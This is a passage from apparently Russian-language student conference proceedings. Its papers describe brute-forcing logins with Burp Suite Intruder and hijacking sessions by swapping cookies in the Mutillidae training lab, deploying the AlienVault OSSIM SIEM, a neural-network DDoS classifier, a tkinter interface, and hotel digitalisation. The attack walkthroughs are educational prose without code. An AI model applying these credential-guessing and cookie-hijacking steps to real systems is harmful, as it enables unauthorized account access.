Веб-приложения остаются одной из самых уязвимых точек для атак злоумыш-
ленников, которые потенциально могут привести к нарушению периметра защиты 
предприятия и утечке данных, финансовым потерям и репутационным рискам [1]. 

Для проведения тестирования на проникновение (penetration testing) в инфра-
структуру компании необходимо тщательно анализировать возможные векторы атак, 
которые могут использовать злоумышленники [2]. Это включает в себя не только стан-
дартные методы эксплуатации, такие как SQL-инъекции или межсайтовый скриптинг 
(XSS), но и более сложные техники, включая подделку межсайтовых запросов (CSRF), 
инъекции команд на сервере и атаки типа "человек посередине" (MITM). 

Далее в работе рассмотрим инструмент для анализа уязвимостей веб-
приложений Mutillidae – преднамеренно уязвимый веб-сайт, созданный для обучения и 
тестирования методов анализа защищенности распределенных информационных си-
стем [3]. Mutillidae включает в себя множество известных уязвимостей, таких как SQL-
инъекции, XSS (от англ. Cross-Site Scripting), CSRF (от англ. Cross-Site Request Forgery), 
инъекции команд и другие, что делает его идеальной платформой для анализа векторов 
атак и отработки навыков защиты специалистами. 
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 «Сломанная аутентификация» и «управление сессиями» −уязвимости, которые 
возникают, когда формат, тип и механизм хранения данных приложением позволяет 
осуществить доступ к защищенной информации без предварительной аутентификации. 
При правильном управлении сессиями, пользователь должен быть перенаправлен на 
страницу авторизации или получать сообщение с ошибкой «Не авторизован» [4]. 

При помощи специального программного обеспечения, можно выполнить атаку 
по словарю, используя список распространенных логинов и паролей, или методом 
«грубой силы» осуществить полный перебор. Если на сайте используется однофактор-
ная аутентификация и никак не пресекаются попытки множественных входов, то рано 
или поздно пароль будет скомпроментирован [5]. Рассмотрим пример. В Mutillidae от-
крываем форму для входа на сайт, вводим произвольные значения, которые после смо-
жем найти в перехваченном пакете данных. Запускаем прокси для передаваемых запро-
сов, чтобы посмотреть строку данных в формируемом POST-запросе. В качестве реверс 
прокси будем использовать Burp Suite − комплексную платформу для тестирования 
безопасности веб-приложений. Она включает в себя набор инструментов для анализа 
уязвимостей, перехвата трафика, автоматического сканирования и ручного тестирова-
ния (рисунок 1).  

 
Рисунок 1 – Сформированный POST-запрос 

Воспользуемся утилитой для подбора паролей на сервере. Это можно сделать в 
Burp-Suite с помощью инструмента Intruder. Отправляем нужный нам запрос в Intruder, 
устанавливаем цель атаки указывая IP-адрес и порт, тип «полезной нагрузки», словари 
для логинов и паролей 

Запускаем атаку, происходит перебор аутентификационных данных на сервере. 
Во всех ответах от сервера получен код – 200, но в одном с парой admin:adminpass по-
лучен статус 302 Found, что означает получена верная пара логин-пароль (рисунок 2). 

 
Рисунок 2 – Ответ от сервера 
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Таким образом, анализ HTTP-ответов позволяет не только определить коррект-
ность введённых учётных данных, но и получить информацию о пользователе и его 
сессии. Это подтверждает эффективность использования инструментов автоматизиро-
ванного подбора паролей, таких как Burp-Suite Intruder, для тестирования уязвимостей 
в системах аутентификации. Проведенное исследование уязвимостей Broken 
Authentication на базе тестовой среды Mutillidae позволило продемонстрировать ряд 
критических проблем в механизмах аутентификации и управления сессиями, характер-
ных для современных веб-приложений. Успешно осуществлена атака методом «грубой 
силы» учетных данных, что привело к компрометации системы защиты и получению 
несанкционированного доступа. 

Ключевым фактором, способствовавшим успешному проведению атаки, стало 
отсутствие механизмов защиты от автоматизированного подбора. Платформа позволяла 
проводить перебор пользовательских данных без задержек или ограничения попыток 
ввода, так же не использовалась «CAPTCHA» (от англ. Completely Automated Public Tu-
ring test to tell Computers and Humans Apart) или другие механизмы защиты от перебора 
паролей. 
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Аннотация. Работа посвящена уязвимостям, связанным с использованием Cookies в веб-
приложениях и методам их эксплуатации на примере тестовой среды Mutillidae. Иссле-
дование направлено на анализ распространенных угроз, связанных с неправильной рабо-
той и использованием Cookies. Проведен анализ потенциального вектора атаки позволя-
ющего перехватить сессию легитимного пользователя. 
Abstract. The paper is devoted to vulnerabilities related to the use of Cookies in web applica-
tions and methods of their exploitation using the example of the Mutillidae test environment. 
The research is aimed at analyzing common threats related to the improper operation and use of 
Cookies. An analysis of the potential attack vector allowing to intercept the session of a legiti-
mate user is carried out. 
Ключевые слова: Cookies, Mutillidae, уязвимость, Session ID, OWASP. 
Key words: Cookies, Mutillidae, Vulnerability, Session ID, OWASP. 
 

В условиях стремительной цифровизации и роста числа веб-приложений вопро-
сы информационной безопасности приобретают критическую важность. Особую зна-
чимость в этом контексте представляют уязвимости, связанные с механизмом Cookies, 
который является фундаментальным компонентом современных веб-технологий. Со-
гласно последним исследованиям OWASP, более 35 % всех утечек данных происходят 
вследствие некорректной работы с Cookies, что подчеркивает актуальность выбранной 
темы [1]. Проблема усугубляется тем, что многие разработчики недостаточно хорошо 
знакомы с принципами безопасной реализации данного механизма, что приводит к ти-
ражированию уязвимых решений в production-средах [2]. 

Целью данного исследования является комплексный анализ уязвимостей, свя-
занных с механизмом Cookies, с использованием тестовой среды Mutillidae. 

Выбор платформы Mutillidae в качестве основы для исследования обусловлен ее 
соответствием современным стандартам OWASP, наличием преднамеренно уязвимых 
компонентов и возможностью безопасного моделирования атак в контролируемой сре-
де [3]. Проведенное исследование вносит вклад в развитие методов обеспечения без-
опасности веб-приложений и может быть использовано как в научной, так и в практи-
ческой деятельности. 

При авторизации пользователя отправляется POST-запрос с его данными. Затем 
на сервере в Response HTTP-headers устанавливается заголовок Set-Cookie и устанавли-
ваются новые Cookie для пользователя [4]. Чтобы получить доступ к странице, клиент 
формирует GET-запрос, содержащий все его Cookie в соответствующем заголовке 
(Cookie): Session ID, uid (user ID), username (рисунок 1). 

 
Рисунок 1 – GET-запрос, содержащий куки пользователя 

Злоумышленник может перехватить Cookie законного пользователя и подменив 
их, получить доступ к его сессии [5]. Воспользуемся расширением для браузера Google 
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Chrome: EditThisCookie и поменяем PHPSESSID на значение для пользователя admin 
полученное ранее (рисунок 2). 

 
Рисунок 2 – Меняем Cookie 

Подобные действия приводят к нарушению безопасности ресурса, из-за получе-
ния доступа не уполномоченного лица к учётной записи администратора (рисунок 3). 

 
Рисунок 3 – Получаем доступ к чужой учетной записи 

Перехватить Cookie пользователя можно различными способами: при помощи 
инъекции JS-кода на страницы, воспользоваться Ettercap, чтобы выполнить ARP-
спуфинг и Ferret для перехвата, Hampster, как прокси-сервер для получения сессии 
пользователя. Последний способ является наиболее простым и при отсутствии допол-
нительных механизмов защиты достаточным для получения нужных данных (рисунок 
4). 

 
Рисунок 4 – Захваченные Cookie в ferret 

Управление сеансом напрямую связано с аутентификацией. Для защиты исполь-
зуются механизмы передачи всех идентификаторов сессии в Cookie и исключения пе-
редачи важной информации в URL строк, ограничения времени жизни сессии. 

В ходе работы продемонстрирован подход к получению сессии другого пользо-
вателя, используя подмену Cookie. Но следует заметить, что после выхода из сессии 
данного пользователя, она была удалена – session ID перестал быть действительным и 
не может быть использован далее. Mutillidae – эффективный инструмент для моделиро-
вания атак и анализа уязвимостей, предоставляя наглядные примеры эксплуатации сла-
бых мест в механизме работы различных веб ресурсов, например Cookies. В работе 
продемонстрировано, как можно используя перехваченные переменные окружения по-
лучить доступ к закрытой информации. Обеспечение состояния защищенности пери-
метра предприятия не всегда связано с корректной настройкой средств защиты и це-
лостность его может быть нарушена в результате неправильной настройки функциони-
рующих сервисов, либо ошибок, допущенных при проектировании или разработке ин-
формационной системы.  
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INTERCEPTION OF NETWORK TRAFFIC USING ALIENVAULT OSSIM 
 
Аннотация. В данной работе исследуются возможности системы AlienVault OSSIM (от 
англ. Open Source Security Information and Event Management) для обнаружения и 
предотвращения перехвата трафика в локальной сети. В рамках исследования будут 
рассмотрены механизмы детектирования аномалий, методы корреляции событий и 
практические рекомендации по настройке системы для эффективного противодействия 
перехвату данных. 
Abstract. This paper explores the capabilities of the AlienVault OSI (Open Source Security 
Information and Event Management) system for detecting and preventing local area network 
traffic hijacking. The study will examine anomaly detection mechanisms, event correlation 
methods, and practical recommendations for configuring the system to effectively counter da-
ta interception. 
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Современные информационные системы сталкиваются с растущим числом угроз 
информационной безопасности, среди которых особую опасность представляет пере-
хват сетевого трафика. Данный метод атак позволяет злоумышленникам получать не-
санкционированный доступ к конфиденциальным данным, включая учетные записи 
пользователей, финансовые транзакции и другую защищенную информацию [1]. В 
условиях увеличения частоты и сложности атак, таких как MITM (от англ. Man-in-the-
Middle) и сниффинг, особую актуальность приобретает задача своевременного обнару-
жения и предотвращения перехвата сетевого трафика [2]. 

Целью настоящей работы является комплексное исследование возможностей 
платформы AlienVault OSSIM для обнаружения и предотвращения инцидентов, связан-
ных с перехватом сетевого трафика [3]. В рамках исследования предполагается прове-
сти анализ функциональных возможностей системы, изучить методы корреляции собы-
тий безопасности для обнаружения атак [4].  

Организуем сеть в соответствии с топологией, где присутствуют: «нападающий», 
«атакуемый» и SIEM-система, находящиеся в одном широковещательном сегменте сети 
(рисунок 1) [5]. 

 
Рисунок 1 – Топология сети 

Инструмент Netflow очень полезен для наблюдения за статистикой сетевых со-
единений, но не дает реального представления о том, что происходит на уровне содер-
жимого сетевых пакетов. Для более глубокого анализа сетевых пакетов AlienVault 
предоставляет возможность перехватывать трафик. 

Перед началом перехвата запускаем nmap для имитации сканирования сети зло-
умышленником (рисунок 2). 

 
Рисунок 2 – Окно перехвата пакетов 

При сканировании сети злоумышленником в wireshark на AlienVault будет заме-
тен подозрительный трафик и отображаться информация об этих сетевых пакетах (ри-
сунок 3). 
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Рисунок 3 – Анализ перехваченного пакета в wireshark на AlienVault 

После завершения захвата пакетов на Kali Linux будет выведена полученная в ре-
зультате атаки информация, при анализе которой становиться заметна атака. В самом 
AlienVault происходящее записывается в журнал событий, что позволяет отслеживать 
подобные инциденты и применять соответствующие меры предосторожности (рисунок 
4), либо оперативно реагировать на инцидент. 

 
Рисунок 4 – Процесс выполнения захвата пакетов 

Далее возможно используя стандартный интерфейс проанализировать пакеты в 
режиме реального или отложенного (pcap) времени. 

AlienVault OSSIM является эффективным инструментом для обнаружения и 
предотвращения перехвата сетевого трафика. Удалось установить, что комплексный 
подход при использовании данного программного обеспечения, объединяющий функ-
ции SIEM, IDS/IPS и анализа угроз, позволяет надежно выявлять различные методы не-
санкционированного доступа к данным, включая атаки типа MITM, ARP-спуфинг и 
сниффинг. Результаты тестирования в контролируемой среде показали, что система 
успешно детектирует попытки перехвата трафика и генерирует соответствующие опо-
вещения. 
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Аннотация. Работа посвящена развертыванию SIEM AlienVault OSSIM. Данное про-
граммное обеспечение является свободно распространяемым и объединяет в себе 
функциональность систем обнаружения и предотвращения вторжений, мониторинг 
уязвимостей и анализа событий безопасности. Будут рассмотрены ключевые этапы 
установки и конфигурирования параметров системы. 
Abstract. The work is dedicated to the deployment of SIEM AlienVault OSSIM. This soft-
ware is freely distributed and combines the functionality of intrusion detection and prevention 
systems, vulnerability monitoring, and security event analysis. The key steps for installing and 
configuring system parameters will be reviewed. 
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В условиях роста числа атак на информационные объекты и усложнения мето-
дов их реализации особую важность приобретает задача оперативного обнаружения и 
реагирования на инциденты информационной безопасности [1]. Современные угрозы 
требуют комплексного подхода к мониторингу и анализу событий безопасности, что 
обуславливает востребованность эффективных SIEM-решений (от англ. Security 
Information and Event Management) [2]. Эти системы позволяют не только выявлять 
аномалии и признаки компрометации, но и минимизировать потенциальный ущерб за 
счёт своевременного реагирования. 
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На сегодняшний день SIEM-системы активно исследуются в контексте их при-
менения для защиты корпоративных сетей. Существует множество коммерческих и от-
крытых решений, каждое из которых обладает своими преимуществами и ограничени-
ями [3]. В частности, AlienVault OSSIM (от англ. Open Source Security Information and 
Event Management) привлекает внимание как интегрированная платформа с открытым 
исходным кодом, объединяющая функции IDS (от англ. Intrusion Detection System) / IPS 
(от англ. Intrusion Prevention System), мониторинга уязвимостей и корреляции событий 
безопасности [4]. Однако, несмотря на её популярность, вопросы эффективной 
настройки, адаптации под конкретные инфраструктуры и оптимизации работы требуют 
дополнительного изучения [5]. 

Целью данной работы является исследование возможностей платформы 
AlienVault OSSIM. В рамках исследования планируется рассмотреть практические ас-
пекты её развёртывания в условиях ограниченных ресурсов. Таким образом, работа 
направлена на решение актуальной задачи повышения уровня защищённости информа-
ционных систем с использованием open-source инструментов. 

Процесс развертывания AlienVault OSSIM включает несколько ключевых эта-
пов. Главным служит выбор средства виртуализации, с помощью которого будут осу-
ществляться манипуляции над системой (предполагается развертывание системы на 
виртуальной машине). Далее следует этап настройки, где требуется выбрать оптималь-
ные параметры. Заключительный этап – установка системы на реальную или виртуаль-
ную машину с доступом к инфраструктуре предприятия. 

Во-первых, необходимо выбрать один из вариантов функционирования будет ли 
OSSIM функционировать в качестве SIEM системы или в качестве специализированого 
программного сенсора, предназначенного для сбора и анализа сетевого трафика, обна-
ружения аномалий и угроз (рисунок 1). 

 
Рисунок 1 – Образ AlienVault поддерживает установку OSSIM и сенсора 

После базовой установки программного обеспечения необходимо выбрать сете-
вой интерфейс для выхода во внешнюю сеть и перехвата трафика (рисунок 2). 

 
Рисунок 2 – Выбор сетевого интерфейса 
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В целях обеспечения безопасности после первичной настройки требуется задать 
надежный пароль для доступа к административному интерфейсу системы. Это поможет 
предотвратить несанкционированный доступ к консоли управления (рисунок 3). 

По завершении всех этапов OSSIM выполняет перезагрузку, после чего стано-
вится доступным интерфейс управления. На стартовом экране отображается информа-
ция о версии системы, а также приглашение к аутентификации (рисунок 4). 

 
Рисунок 3 – Установка пароля 

 
Рисунок 4 – Стартовый экран запущенного AlienVault  

В ходе работы была развернута полнофункциональная SIEM-система на базе 
платформы AlienVault OSSIM. Анализ функциональных возможностей системы под-
твердил ее соответствие современным требованиям к системам мониторинга и обнару-
жения угроз информационной безопасности. Внедрение данного программного обеспе-
чения позволяет значительно снизить затраты на эшелонированную защиту информа-
ции без потери ключевых функциональных возможностей. Конечно, отметим, что дан-
ное программное обеспечение на сегодня не обладает необходимыми сертификатами 
ФСТЭК и не может быть использовано на многих объектах информатизации. С другой 
стороны, данная система может быть рекомендована к развертыванию в образователь-
ных целях и до ввода в эксплуатацию сертифицированных систем, может быть исполь-
зована специалистами при разработке общей политики безопасности предприятий.  
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Использование глубоких нейронных сетей (ГНС) на сегодняшний день является 
перспективным направлением, объединяющих сверточные (Conv1D) и рекуррентные 
(LSTM, GRU) слои для анализа временных последовательностей сетевого трафика. Это 
обусловлено недостаточной эффективностью классических математических моделей 
при выявлении сетевых атак из-за высокой степени неопределенности и случайных 
флуктуаций в анализируемых сигналах, что приводит к ложным срабатываниям или их 
пропуску. Степень разработанности темы подтверждается исследованиями в области 
применения нейронных сетей, нечеткой логики, эволюционных алгоритмов и матема-
тических методов (фрактальный и вейвлет-анализ) для задач информационной безопас-
ности. Однако ранее предложенные подходы не учитывали временные зависимости се-
тевого трафика в полной мере, что делает актуальным изучение архитектур ГНС, спо-
собных к высокоточной классификации сетевых состояний [1]. Целью данной работы 
является разработка и исследование модели нейронной сети, использующей комбина-
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цию сверточных и рекуррентных слоев для выявления аномального поведения в сете-
вом трафике на основе набора данных Mendeley Data о DDoS-атаках. 

Для решения задач по направлению информационной безопасности зачастую не 
подходит классический математический аппарат в связи с тем, что анализируемые сиг-
налы и последовательности имеют неопределенную природу, которая сопровождается 
различными случайностями и флуктуациями. В следствии этого системы выявления 
сетевых атак, основанные на классических математических моделях, могут сопровож-
даться большим числом ложных срабатываний или несрабатывании [2]. Большую эф-
фективность при решении подобных задач показывают системы искусственного интел-
лекта на основе аппаратов нейронных сетей, нечеткой логике, эволюционные алгорит-
мы, а также сочетание данных моделей и методов со смежными математическими 
направлениями, такими как фрактальный и вейвлет-анализ. Рассматриваемая работа 
является частным случаем исследования, описанного в сборнике [3], в котором в каче-
стве исходных данных для обучения используется набор данных Mendeley Data о 
DDOS-атаках. При рассмотрении времени, как измерения, подобного измерениям дву-
мерного изображения, обработку сетевого трафика, как временной последовательности, 
возможно осуществлять аппаратом сверточных нейронных сетей, хорошо зарекомендо-
вавших себя для идентификации объектов благодаря кодированию входных данных с 
использованием операций свертки и способности определять их характеристики и 
свойства. При этом следует отметить, что выявленные сверточной нейронной сетью 
шаблоны нормального/аномального состояния информационно-телекоммуникационной 
сети (ИТС) являются неизменными при преобразованиях времени. Однако отсутствие у 
сверточных слоев блоков памяти не позволяет сверточной модели нейронной сети учи-
тывать временной порядок следования информации о состояниях ИТС. Для исключе-
ния этого недостатка в сверточные сети добавляют рекуррентные слои, которые могут 
хранить информацию как о предыдущем состоянии ИТС, так и о более отдаленных во 
времени состояниях. Такими инструментами могут выступать слои LSTM (Long Short-
Term Memory) и GRU (Gated Recurrent Unit) [4]. Таким образом, на уровне сверточных 
слоев происходит обработка входной последовательности для формирования кодиро-
ванных сжатых характеристик и свойств высокого уровня, которые впоследствии яв-
ляются входами для рекуррентных слоев, способных обрабатывать временные ряды и 
последовательности. 

Экспериментальное моделирование 
Входными данными для моделирования была определена база Mendeley Data о 

DDOS-атаках. Данные входные образцы состоят из более 160 000 записей состояний 
ИТС, разделенных на семь типов на основе 12 признаков, включая штатное состояние 
сети. Для обучения нейронной сети использовалась информация о двух состояниях 
ИТС, включая штатное, на основе 10 признаков. Входной набор данных составлял мат-
рицу 82 290 × 11, в том числе номер класса состояния, из которых объем обучающей 
выборки составлял 80 %, а тестовой – 20 %.  На рисунке 1 представлена используемая 
нейронная сеть, состоящая из одномерных сверточных (Conv1D) слоев с функцией ак-
тивации ReLU f(x)=max(0,x), пуллинга, снижающего размерность (MaxPooling 1D), ре-
куррентного (LSTM) и полносвязанного (Dense) слоев. Моделирование производилось 
в среде Python 3.12, фреймворк Keras [5]. Достигнутые результаты подтверждают целе-
сообразность использования комбинированной архитектуры сверточных и рекуррент-
ных слоев для решения задач сетевой безопасности, а также открывают возможности 
для дальнейшего совершенствования модели, например, путем оптимизации гиперпа-
раметров или использования дополнительных методов предобработки данных. На ри-
сунке 2 приведены результаты обучения ГНС, демонстрирующие быструю сходимость 
модели: уже на второй эпохе точность превышает 97 %, а к десятой эпохе достигает 
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более 98 %. Это подтверждает эффективность предложенной архитектуры для задачи 
классификации сетевого трафика. 

 
Рисунок 1 – Архитектура используемой ГНС  

Рисунок 2 – Результаты обучения ГНС  
В работе представлен результат обучения сверточно-рекурретной сети для сете-

вой классификации в рамках задачи информационной безопасности. Несмотря на отно-
сительно небольшой объем данных для обучения, результат моделирования показывает 
высокую точность предсказания. Архитектуру нейронной сети для решения задачи 
классификации сетевого трафика, включая наполнения ее сверточными, рекуррентны-
ми, полносвязанными и иными слоями, следует определять с учетом специфики стати-
стических данных конкретной ИТС. В качестве продолжения исследований рассматри-
вается возможность использования вейвлет-анализа для сжатия входных данных 
нейронной сети без потери качества обучения, а также для сжатия архитектуры обу-
ченной сети. 
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Любое программное обеспечение, предназначенное для широкого использова-
ния среди пользователей, должно обладать пользовательским интерфейсом. Для Web-
приложений используется HTML, CSS, REACT и другие инструменты. Для разработки 
интерфейса десктопных приложений используют WinAPI, Windows Form на C#/C++ и 
так далее [3]. Помимо вышеперечисленных инструментов, для создания пользователь-
ского интерфейса можно использовать язык программирования Pythom. 

Python — это высокоуровневый язык программирования, с помощью которого 
создают сайты, разрабатывают приложения, автоматизируют процессы анализа или ви-
зуализации данных [1]. 

Для работы с пользовательским интерфейсом существует огромное количество 
python библиотек, но в данной статье хотелось бы затронуть такую библиотеку как 
tkinter. 

Tkinter — это кроссплатформенный графический интерфейс Python, позволяю-
щий работать с библиотекой Tk [4]. 

Данная библиотека имеет несколько преимуществ перед своими аналогами. Во-
первых, простота изучения и использования, благодаря понятному синтаксису. 

Во-вторых, встроенность в Python, что позволяет сразу же начать её использо-
вать без дополнительных загрузок. 
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В-третьих, её кроссплатформенность, то есть приложения работают на всех по-
пулярных платформах, таких как Windows, macOS и так далее. 

И наконец, огромный набор виджетов, позволяющий реализовать различные ди-
зайны интерфейсов [5]. 

Объектом разработки является приложение для подбора автомобилей по опреде-
лённым параметрам. Для разработки интерфейса используется Python и библиотека 
tkinter. Для начала работы необходимо импортировать библиотеку. Предварительно 
ничего устанавливать не надо, так как tkinter является стандартной библиотекой и уже 
встроена в язык [2]. Далее было создано главное окно: задано название, заданы размеры 
и цвет заднего фона. 

Затем были размещены виджеты, такие как надписи, поля для ввода, выпадаю-
щие списки, чекбокс, кнопка, поле вывода, изображения. Для надписей был задан раз-
мер шрифта, цвет заднего фона, соответствующий фону главного окна и цвет текста. 
Также для каждой надписи было задано расположение на окне. 

Затем были добавлены выпадающие списки. Для них был задан размер и распо-
ложение. Также для каждого выпадающего списка был задан массив, содержащий эле-
менты, которые отображаются при нажатии на список. 

После задания выпадающих списков были добавлены поля ввода и поле вывода. 
Для них был задан цвет и размер. 

Затем были добавлены такие элементы как кнопка и чекбокс, для них были зада-
ны цвета и надписи. Чекбокс устанавливает значение true или false, а кнопка отвечает за 
вывод результатов в поле вывода. Также был добавлен логотип для приложения, загру-
женный с компьютера. И наконец был добавлен график, который в будущем будет по-
казывать статистику продаж за определённый срок. График был задан с помощью биб-
лиотеки matplotlib, а размещён на форму с помощью tkinter, что показывает совмести-
мость данной библиотеки с другими библиотеками. Нынешний внешний вид представ-
лен на рисунке 1. 

 
Рисунок 1 – Начальный вид интерфейса 

В дальнейшем дизайн будет улучшен, а также будет прописана логика элемен-
тов управления. Но уже по данному интерфейсу можно понять логику работы прило-
жения. Пользователь выбирает необходимые ему параметры, такие как: марка автомо-
биля, расположение руля (правое, левое или неважно), привод, мощность и так далее. 
Также пользователь вводит ценовой диапазон и ставит или не ставит галочку в пункте 
«Без пробега по РФ», а затем нажимает кнопку «Найти». Программа в свою очередь 
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выводит результаты в поле вывода. Результаты содержат само объявление, цену и 
ссылку на объявление. Справа будет выводится график продаж интересующего, поль-
зователя, автомобиля за год. В дальнейшем планируется добавление новых параметров 
для улучшения поиска подходящих объявлений. Данные для приложения были собра-
ны в ходе парсинга одного известного интернет- ресурса, содержащего объявления о 
продаже автомобилей. В данной статье было проведено исследование Python и библио-
теки tkinter как инструментов для создания пользовательского интерфейса. Как видно 
из проделанной работы, tlinter это отличный выбор для тех, кто хочет разрабатывать 
пользовательские интерфейсы в парадигме языка программирования Python. На данный 
момент разработан начальный пользовательский интерфейс приложения для подбора 
автомобилей, но уже по раннему концепту можно увидеть возможности Python в соче-
тании с библиотекой tkinter. Также данная статья создана для того чтобы показать пре-
имущества языка программирования Python, такие как: лёгкость освоения, что очень 
хорошо для начинающих программистов, простота визуального воспитания, что спо-
собствует лучшему пониманию кода, кроссплатформенность, что позволяет работать с 
языком и писать программы для разных операционных систем, скорость разработки 
достаточно высокая благодаря простому синтаксису языка, универсальность, так как 
язык позволяет писать огромное множество программ будь то программы для тестиро-
вания или полноценные нейронные сети, множество инструментов, в Python существу-
ет множество встроенных библиотек для самых разнообразных задач, а также при 
необходимости можно подключить дополнительные инструменты, масштабируемость. 
Конечно помимо создания пользовательских интерфейсов, язык программирования Py-
thon используется во многих других сферах, таких как веб-разработка, Data Science, те-
стирование, разработка игр и многое другое. 
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ЦИФРОВЫЕ ТЕХНОЛОГИИ В ГОСТИНЕЧНОМ БИЗНЕСЕ: НОВЫЕ 
ВОЗМОЖНОСТИ И ВЫЗОВЫ 
 
DIGITAL TECHNOLOGIES IN THE HOTEL BUSINESS: EW OPPORTUNITIES  
AND CHALLENGES 
 
Аннотация: Данная статья посвящена рассмотрению основных цифровых технологий, 
применяемых в гостиничном бизнесе, анализу их преимуществ и выявлению трудно-
стей, связанных с их внедрением. В работе изучены такие технологии, как искусствен-
ный интеллект, интернет вещей, мобильные приложения, системы автоматизации и 
виртуальная реальность. На примере российских отелей, таких как Azimut Hotels, Lotte 
Hotel Moscow и Cosmos Hotels, показано, как цифровые технологии улучшают качество 
обслуживания, оптимизируют процессы и повышают доходы. Результаты исследования 
подтверждают, что цифровизация гостиничного бизнеса, несмотря на высокую стои-
мость внедрения, необходимость обучения персонала и вопросы кибербезопасности, 
приносит значительные выгоды в долгосрочной перспективе. В будущем цифровые 
технологии станут неотъемлемой частью индустрии гостеприимства, способствуя по-
вышению конкурентоспособности гостиниц. 
Abstract: This article is devoted to the consideration of the main digital technologies used in 
the hotel business, the analysis of their advantages and the identification of difficulties associ-
ated with their implementation. The paper examines technologies such as artificial intelli-
gence, the Internet of Things, mobile applications, automation systems, and virtual reality. 
Using the example of Russian hotels such as Azimut Hotels, Lotte Hotel Moscow and Cos-
mos Hotels, it is shown how digital technologies improve the quality of service, optimize pro-
cesses and increase revenues. The results of the study confirm that the digitalization of the 
hotel business, despite the high cost of implementation, the need for staff training and cyber-
security issues, brings significant benefits in the long term. In the future, digital technologies 
will become an integral part of the hospitality industry and contribute to increasing the com-
petitiveness of hotels. 
Ключевые слова: цифровые технологии, гостиничный бизнес, искусственный интел-
лект, оптимизация процессов, кибербезопасность, цифровая трансформация, интернет 
вещей. 
Key words: digital technologies, hotel business, artificial intelligence, process optimization, 
cybersecurity, digital transformation, internet of things. 
 

Гостиничный бизнес активно трансформируется благодаря развитию цифровых 
технологий. В условиях глобальной конкуренции гостиницы вынуждены искать новые 
способы привлечения клиентов. Цифровые технологии стали ключевым инструментом 
для повышения качества обслуживания, оптимизации процессов и создания уникально-
го гостевого опыта. Согласно исследованию Hospitality Technology, 85 % отелей плани-
руют увеличить инвестиции в цифровые решения к 2025 году, что подтверждает их 
важность для отрасли [1, c. 5]. 

Цель: рассмотреть основные цифровые технологии в гостиничном бизнесе, про-
анализировать их преимущества и выявить трудности внедрения. В статье изучаются 
технологии искусственного интеллекта (AI), интернета вещей (IoT), мобильные прило-
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жения, системы автоматизации и виртуальная реальность (VR). Также приведены при-
меры их применения в российских отелях, таких как Hilton, Azimut Hotels, Lotte Hotel 
Moscow и Cosmos Hotels. 

Тема цифровой трансформации активно исследуется, однако адаптация техно-
логий к российскому рынку остаётся недостаточно изученной, что делает работу акту-
альной для развития отрасли. 

Цифровые технологии в гостиничном бизнесе делятся на несколько категорий, к 
одним из них относятся онлайн-бронирование и мобильные приложения. 

Онлайн-бронирование стало стандартом в гостиничном бизнесе. Гости ожидают 
возможность бронировать номера через сайты или приложения. Например, сеть Hilton 
использует приложение Hilton Honors для бронирования, выбора номеров и бескон-
тактного заселения.  

Системы автоматизации управления отелем (PMS) автоматизируют процессы 
бронирования, заселения и управления номерами. Система Opera PMS, используемая в 
40 000 отелей, оптимизирует рутинные задачи. В России Cosmos Hotels применяют 
PMS для повышения эффективности. Искусственный интеллект и чат-боты – AI анали-
зирует данные гостей, предлагая персонализированные услуги. Например, Cosmos 
Hotels используют AI для рекомендаций ресторанов и экскурсий [2, c. 25]. 

Интернет вещей и умные номера – IoT позволяет гостям управлять освещением, 
температурой и другими устройствами через смартфон. В Lotte Hotel Moscow гости 
настраивают номера через планшет, что повышает комфорт и экономит энергию [3]. 

Виртуальная и дополненная реальность (VR/AR) – создают уникальный опыт. 
Например, Marriott предлагает виртуальные туры по отелям, также представляет вирту-
альное представления номером гостиницы. 

Преимуществом цифровизации для гостиничного бизнеса в основном явля-
ется улучшение качества обслуживания.  

Цифровые технологии делают обслуживание быстрым и удобным. Например, 
Hilton, Azimut Hotels используют мобильные приложения для бесконтактного заселе-
ния, а Lotte Hotel Moscow предлагает умные номера с управлением через планшет, что 
повышает комфорт гостей. Далее персонализация услуг – AI анализирует предпочтения 
гостей, предлагая персонализированные услуги. Например, Cosmos Hotels используют 
AI для рекомендаций ресторанов и экскурсий. Также отели отправляют гостям персо-
нализированные предложения, например, пакеты с доступом к спа-зоне. Автоматизация 
рутинных задач, таких как бронирование и управление номерами, снижает вероятность 
ошибок и ускоряет работу. IoT помогает экономить энергию, автоматически отключая 
устройства в номерах, что способствует оптимизации процессов [3, c. 8]. Внедрение 
инвестиционных решений требует значительных финансовых вложений, однако в дол-
госрочной перспективе эти затраты окупаются. Благодаря автоматизации удается со-
кратить затраты и расходы на персонал, а персонализированные услуги повышают ло-
яльность гостей и увеличивают доходы гостиницы. 

В таблице 1 приведены примеры, которые показывают, как в Российской Феде-
рации, успешно внедряют цифровые технологии, улучшая качество обслуживания и 
укрепляя свои конкретные позиции. 

Таблица 1 – Успешное внедрение ИТ в сеть гостиниц 
Отель Технологии 
Hilton Мобильное приложение для бесконтактного заселения 
Azimut Hotels Онлайн-бронирование и персонализированные услуги 
Lotte Hotel Moscow Умные номера с управлением через планшет 
Cosmos Hotels AI для анализа данных и повышения уровня сервиса 
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Проблемы и вызовы внедрения цифровых технологий 
Одной из основных проблем является высокая стоимость внедрение технологий, 

таких как IoT, AI или мобильные приложения, к примеру, Lotte Hotel Moscow инвести-
ровал значительные средства в создании умных номеров, однако эти вложения окупи-
лись за счёт повышения удовлетворённости гостей. 

Еще одним вызовом является обучение персонала. Цифровые технологии тре-
буют от сотрудников умение пользоваться новыми продуктами в сфере ИТ., например, 
в сети гостиниц Azimut Hotels было проведено обучение персонала для работы с мо-
бильным приложением, что значительно упростило процесс заселения [4, c. 3]. 

Кибербезопасность также остается важной проблемой. Риск утечки данных тре-
бует серьезных инвестиций в защиту. Одним из ярких примеров является кибератака в 
2017 году, на сервера Lotte Hotel Moscow, было совершено кибератака, где было ском-
прометировано более 500 тыс. данных гостей. Компания потеряла не только данные, но 
свой имидж [5, c. 12]. 

Технические сложности интеграции новых систем с существующими также 
нельзя игнорировать, ведь Cosmos Hotels привлекали внешних специалистов для внед-
рения AI, что заняло значительное время для внедрения в гостиницу. Несмотря на эти 
вызовы, успешные примеры, все перечисленные гостиницы показывают, что цифрови-
зация приносит значительные выгоды в долгосрочной перспективе. 

Целью данной работы было исследование ключевых цифровых технологии, 
применяемые в гостиничном бизнесе, а также анализ их преимущества и выявление 
трудности, связанные с их внедрением. В рамках исследования были рассмотрены та-
кие технологии, как искусственный интеллект, интернет вещей, мобильные приложе-
ния и системы автоматизации, а также их применение в российских гостиницах, что 
продемонстрировало как цифровые решения способствуют повышению качество об-
служивания, и оптимизации процессов, а также увеличению дохода. Результаты иссле-
